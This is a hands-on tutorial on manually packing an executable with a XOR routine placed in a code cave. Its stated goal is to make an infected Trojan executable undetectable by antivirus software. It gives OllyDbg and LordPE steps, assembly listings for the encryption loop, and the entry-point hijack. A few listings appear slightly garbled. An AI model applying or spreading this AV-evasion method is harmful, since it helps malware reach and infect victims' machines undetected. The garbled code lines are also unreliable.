EXE PACKING – The Hard Way

By Jacky Altal

Manual packing an application is an important procedure that can be done easily. There are many reasons to pack an application file, for example to secure it from functionality modifications or any other malicious attacks. Hackers use this method to inject malicious code into applications in order to camouflage harmful code.

Another good use for manual packing would be to bypass Anti Virus software and make arbitrary malicious code to become AV`s best friend.

Firstly, the entire table section (.text, .date, .rsrc) needs to be encrypted. Alternatively, if the location of the virus signature is known, then only the specific bytes require encrypting. Then it is stored in an unencrypted cave area. A small XOR function needs to be coded to encrypt the code and save to a file.

Once the file is encrypted, it needs to be executed again and the XOR function will run first. This time, the code will be decrypted back to its original state and the file will run in real-time unrecognizable by the anti-virus.
What is XOR function
XOR, also known as Exclusive OR, is a bitwise operator from binary mathematics. The XOR operator returns a 1 when the value of either the first bit or the second bit is a 1. The XOR operator returns a 0 when neither or both of the bits is 1.
This is best illustrated in the following chart:
F.bit S.bit Result
F F F
F T T
T F T
T T F


The XOR operator is used to "flip" bits (zeroes and ones) in a piece of plaintext to create a cipher text. In other words, if the code section is XORed twice with the same key, it will return to its original state.

Entry Point <---
jump to encrypt/cave code

Code Cave <---
XOR function encrypt/decrypt

End Cave <---

Replace Entry Point with a JMP to the crypto routine, Insert the crypto routine into the code cave, then insert the deleted command (the one that was deleted) and then go back to the original coded entry command after the hooked entry command has executed.

The crypto code needs to be run once in order to encrypt the entire section and then it needs to be saved to a file. The next time that the file is run, the crypto routine will decrypt the code section back to its original state.

Tools

Infected exe (Trojan)
Ollydbg
LordPE

Hands On

Open up your infected file with Ollydbg and copy the first few commands (backup the commands to a text file). Mark the first few lines and right click copy to clipboard and paste it into a text file.

-=:Entry Code:=-

00401219 >/$ 64:A1 00000000 MOV EAX,DWORD PTR FS:[0]
0040121F |. 55 PUSH EBP
00401220 |. 89E5 MOV EBP,ESP
00401222 |. 6A FF PUSH -1

Go to the end of the file and look for DB 00 in the code cave (at the end of the file) and first try to write to that area. If the section is writeable then you are set and you don’t need to change the section permissions.

-=:Cave Code:=-

0040E4FD 0000 ADD BYTE PTR DS:[EAX],AL
0040E4FF 0000 ADD BYTE PTR DS:[EAX],AL
0040E501 0000 ADD BYTE PTR DS:[EAX],AL
0040E503 0000 ADD BYTE PTR DS:[EAX],AL

If you receive an error message it means that this area is protected, and we will need to modify the PE section to allow us to write to this area. It can be easily done with LordPE (edit the section properties).







Open up LordPE, load your file and click on the Section button. Once done, right click the data section and choose the properties window. Click the checkboxes to make the file writeable and executable. The file is done.

The following routine will be used to XOR the data section. Actually, this is a simple encryption routine that will start to XOR every byte from the data section (@0040129c) with our key (0f). The loop will stop at the end of the data section (@0040E46C).

Encryption Routine
mov eax,0040129c
xor byte [eax],0f
inc eax
cmp eax,0040E46C
jle [xor address]

Deleted Call
00401219 >/$ 64:A1 00000000 MOV EAX,DWORD PTR FS:[0]
0040121F |. 55 PUSH EBP

Jump back to application flow
00401219 > E9 E2D20000 JMP finish1t.0040E500
0040121E 90 NOP


The final code should look like the following:

XOR Loop + Deleted Call + Jump back to application flow.

Code Cave:
0040E500 B8 9C124000 MOV EAX,finish1t.0040129C ; Entry address
0040E505 8030 0F XOR BYTE PTR DS:[EAX],0F
0040E508 0 INC EAX
0040E509 3D 6CE44000 CMP EAX,; Entry address
0040E50E 7E F5 JLE SHORT finish1t.0040E505
0040E510 64:A1 00000000 MOV EAX,DWORD PTR FS:[0]
0040E516 E9 042DFFFF JMP finish1t.0040121F

Now, Lets put a break point at the end of the loop; line 0040e510 and execute the code. Once the execution stops, save the file and exit ollydbg.

00401219 >/$ 64:A1 00000000 JMP finish1t. 0040E500

Last but not least, double check that you changed the application flows to jump to the cave code address.

The file is unrecognized by the antivirus software now. File is ready.